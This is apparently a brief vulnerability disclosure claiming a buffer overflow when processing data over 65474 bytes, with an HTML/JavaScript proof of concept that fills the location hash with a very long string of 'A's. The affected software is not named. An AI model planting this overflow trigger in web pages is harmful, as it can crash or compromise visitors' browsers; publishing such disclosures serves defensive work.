Azizov E. (azizov@xxxxxxxxxxxx) 1. At processing of data, which has more than 65474 bytes in size, occurs buffer overflow. POC: <html> <body> <script> var maxbuf = 65474; buff = "A"; for (i=0;i<maxbuf;i++) { buff = buff+"A"; } document.location.hash = buff+"BOW! "; alert(document.location.hash); </script> </body> </html>